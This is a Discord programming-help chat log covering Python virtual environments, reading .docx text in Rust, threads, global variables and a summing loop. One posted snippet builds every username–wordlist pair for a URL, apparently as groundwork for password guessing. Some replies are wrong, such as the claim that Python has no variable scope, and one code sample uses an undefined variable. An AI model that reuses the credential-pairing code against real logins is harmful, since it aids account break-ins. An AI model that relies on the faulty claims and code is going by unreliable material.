dire vortex Jun 17, 2021, 8:41 AM

#

novel pulsar Or setsid for creating process in other session, not really sure what <@80066683...

I did a quick test, and that looks like it may be perfect for the job - thanks a lot Stella ❤️

wispy kestrelBOT Jun 17, 2021, 8:41 AM

#

Gave +1 Rep to @novel pulsar

mortal flint Jun 17, 2021, 1:39 PM

#

@magic falcon (or anyone with thoughts/comments), what's your preferred python virtual env? Seems pipenv is the way to go these days, or am I wrong?

magic falcon Jun 17, 2021, 1:42 PM

#

mortal flint <@!447041536807403545> (or anyone with thoughts/comments), what's your preferre...

i usually go with venv https://docs.python.org/3/library/venv.html

#

Super easy to use, allows me to intuitively segregate my python depencies

mortal flint Jun 17, 2021, 1:43 PM

#

I've read that pipenv is a bit more modern/powerful, but haven't dug into either

magic falcon Jun 17, 2021, 1:43 PM

#

it very well could be

#

but venv is guaranteed to be available, because its the official python supported version

mortal flint Jun 17, 2021, 1:43 PM

#

gotcha. Thanks

magic falcon Jun 17, 2021, 1:44 PM

#

a lot of places where i write python, i can't get access to pip, so reducing external dependencies is a key feature for me

mortal flint Jun 17, 2021, 1:44 PM

#

yeah, that's reasonable

#

in one of my current use cases, that's not an issue. In the other, it might be 🙂

magic falcon Jun 17, 2021, 1:45 PM

#

and i have not yet found a use-case inwhich venv is insufficient for my purposes

mortal flint Jun 17, 2021, 1:48 PM

#

fair enough. Thanks for the insight 🙂

#

+rep @magic falcon

wispy kestrelBOT Jun 17, 2021, 1:49 PM

#

Gave +1 Rep to @magic falcon

warped axle Jun 18, 2021, 4:35 AM

#

does anyone know how i can extract plaintext from .docx documents with rust?

#

i have googled for a bit and found some crates but nothing seems to points to extracting plaintext but instead extract in the form of structs and one that is the closest to what i need was writen 3 years ago which i cant seem to get working

atomic parrot Jun 18, 2021, 6:39 AM

#

I don't know anything about rust, but if you run a binwalk on a .docx file and extract it you will see plenty of xml files and one of them may contain the plaintext you need, so I guess you could try to check the number of bytes and then try to start reading with that offset using rust. I hope this makes sense, but then again, no idea about rust

warped axle Jun 18, 2021, 6:44 AM

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well i tried that but couldnt seem to find the file that contained the plaintext

#

nvm i found it

#

thanks @atomic parrot

atomic parrot Jun 18, 2021, 6:52 AM

#

you're welcome ;D

surreal bronze Jun 18, 2021, 7:11 AM

#

@warped axle believe it's in the "document.xml" when extracted 🙂

warped axle Jun 18, 2021, 11:01 AM

#

i need help again i cant programmatically read the plain text from the document theres one way i've found which is on the terminal by unzipping the doc and piping it through sed with a regex patern

#

im trying to do that but with code and im strugling hard

#

pls Halp

warped axle Jun 18, 2021, 11:39 AM

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theres also the docx crate which there doesnt seem to have a read plain text function

onyx merlin Jun 18, 2021, 12:42 PM

#

warped axle does anyone know how i can extract plaintext from `.docx` documents with rust?

https://www.toptal.com/xml/an-informal-introduction-to-docx this looks helpful

Toptal Engineering Blog

An Informal Introduction to DOCX

DOCX is the de facto standard for exchanging business documents, and there's no good alternative to replace it. However, DOCX is a complex format, and there are plenty of cases where someone may want to parse it manually for simpler tasks.

In this article, Toptal freelance developer Stepan Yakovenko shows us how ...

warped axle Jun 18, 2021, 12:44 PM

#

hmmm will check that out thank u

lilac holly Jun 19, 2021, 9:07 AM

#

what's your level of experience with programming ? Will C be your first language ?

warped axle Jun 19, 2021, 12:57 PM

#

Yea i dont reccomend c being your first language

graceful needle Jun 19, 2021, 1:00 PM

#

What about C++ ?

pseudo mist Jun 19, 2021, 1:04 PM

#

warped axle Yea i dont reccomend c being your first language

I recommend c or c++ to be the first one

warped axle Jun 19, 2021, 1:07 PM

#

Bruh

#

Also youtube is a good one to start

graceful needle Jun 19, 2021, 1:14 PM

#

You're bound to find some good stuff there yes. FreeCodeCamp has some good material. This is not a paid endorsement, fyi

surreal bronze Jun 19, 2021, 1:56 PM

#

I recommend python for beginners, but its up to you

surreal bronze Jun 19, 2021, 1:56 PM

#

graceful needle You're bound to find some good stuff there yes. FreeCodeCamp has some good mater...

Pins also have some great programming platforms

restive fossil Jun 20, 2021, 10:21 AM

#

is it possible to have multiple while true loops in a python program

onyx merlin Jun 20, 2021, 10:27 AM

#

Possible? Depends how you define it
Useful? Maybe not, definitely not if they're nested

mortal flint Jun 20, 2021, 10:33 AM

#

you could nest them, but that seems like really bad practice. You'd need to have some sort of break condition for both.

onyx merlin Jun 20, 2021, 10:36 AM

#

At that point, while condition: is much more readable for me

graceful needle Jun 20, 2021, 11:04 AM

#

surreal bronze Pins also have some great programming platforms

Pins?

true pumice Jun 20, 2021, 11:20 AM

#

graceful needle Pins?

For mobile:

restive fossil Jun 20, 2021, 11:35 AM

#

onyx merlin Possible? Depends how you define it Useful? Maybe not, definitely not if they're...

just need a few while true loops, would be really useful cuz i need multiple things to keep running forever in my program

onyx merlin Jun 20, 2021, 11:39 AM

#

At the same time? Then you need threads

restive fossil Jun 20, 2021, 11:45 AM

#

onyx merlin At the same time? Then you need threads

si

#

any good articles on how to use threads

#

dont have much experience with threads

graceful needle Jun 20, 2021, 11:54 AM

#

Thanks @true pumice !

wispy kestrelBOT Jun 20, 2021, 11:54 AM

#

Gave +1 Rep to @true pumice

sharp coral Jun 20, 2021, 3:49 PM

#

wondering what best practices are regarding the use of global variables in python, I see some people say to stay away from them but Im not sure why.

In my case I have some constants that are mostly lists, I use one function with itertools to build out these lists and use the lists elsewhere in another function, but not sure if this is the "best" way despite it just working.

URL = str(argv[1])
WORD_FILE = argv[2]
USERS = ["user1", "user2", "user3"]
WORDLIST = []
USERPASS = []

def list_builder():
    global USERPASS
    global WORDLIST
    with open(WORD_FILE, encoding="ascii", errors="ignore") as words:
        reader = words.readline()
        while reader != "":
            WORDLIST.append(reader.strip())
            reader = words.readline()
    USERPASS = list(itertools.product(USERS,WORDLIST))

true pumice Jun 20, 2021, 4:16 PM

#

The formatting on mobile is horrible so I might be missing something while looking through your program.

Global variables, generally, people do avoid but you can always code in a way that you don’t need any variables to be Global, such as arguments/ parameters and returning values from a function.

From looking at your program on Discord’s horrible formatting, it looks like you could just initialise the two variables inside your function and return them either as a Tuple or however you want to return them, I could be mistaken although.

If it works, is efficient and the program has a good flow (easily understood), I see no problems with global variables.

While I’m no professional, I would probably avoid them if it makes the code messy or if your program is not a personal project, i.e. you are the only person using it. This is because generally you understand what the program does, whereas an outsider may not*

sharp coral Jun 20, 2021, 4:17 PM

#

it looks like you could just initialise the two variables inside your function and return them either as a Tuple or however you want to return them

#

this is the right answer Im pretty sure

sharp coral Jun 20, 2021, 4:18 PM

#

true pumice The formatting on mobile is horrible so I might be missing something while looki...

thank you, im pretty sure this will be a bit faster and Ill check on the profiler

wispy kestrelBOT Jun 20, 2021, 4:18 PM

#

Gave +1 Rep to @true pumice

true pumice Jun 20, 2021, 4:18 PM

#

Let me know blobfingerguns

magic falcon Jun 20, 2021, 6:17 PM

#

restive fossil just need a few while true loops, would be really useful cuz i need multiple thi...

Look up the stuff official python docs for multiprocessing and async. Useful code examples are included. When you still have questions I would be willing to have a conversation around your use case and applicable design patterns

magic falcon Jun 20, 2021, 6:42 PM

#

sharp coral wondering what best practices are regarding the use of global variables in pytho...

Global variables have the same problems as any language - unnecessary pollution of the namespace. Unintended side effects can also be a big problem with globals

sharp coral Jun 20, 2021, 6:53 PM

#

magic falcon Global variables have the same problems as any language - unnecessary pollution ...

gotcha, I ended up using the global variables for now for simplicity's sake but jabba's method seems more pythonic

magic falcon Jun 20, 2021, 8:03 PM

#

Jabba's recommendations aren't really python specific, it's very common to pass by reference or pass by value by reference to init variables within a scoped context.

mortal flint Jun 20, 2021, 10:46 PM

#

sharp coral wondering what best practices are regarding the use of global variables in pytho...

Technically everything in python is global, since the language has no concept of variable scope :/

magic falcon Jun 21, 2021, 4:13 AM

#

Is there a python use-case where a global variable isn't tied to a namespace?

#

I can't think of one off-hand

solar hull Jun 21, 2021, 4:19 AM

#

functions have their own scope as well.

lilac holly Jun 21, 2021, 5:58 AM

#

this program below gives sum of consecutive no.s

M = list(range(N+1))
first_digit = M[1]
last_digit = M[-1]
sum_of_cons_no = (N/2) * (first_digit + last_digit)
print(int(sum_of_cons_no))```
is there any other way to do the same using loops?

tulip ibex Jun 21, 2021, 6:06 AM

#

sum = 0
la = int(input('last number: '))
for i in range(inp,la+1):
    sum = sum+i
print(sum)```

try this it works

#

it does 1+2+3

#

oh yea thanks a lot!, i editted it in the edittor but forget it here lol

tulip ibex Jun 21, 2021, 6:26 AM

#

tulip ibex it does 1+2+3

this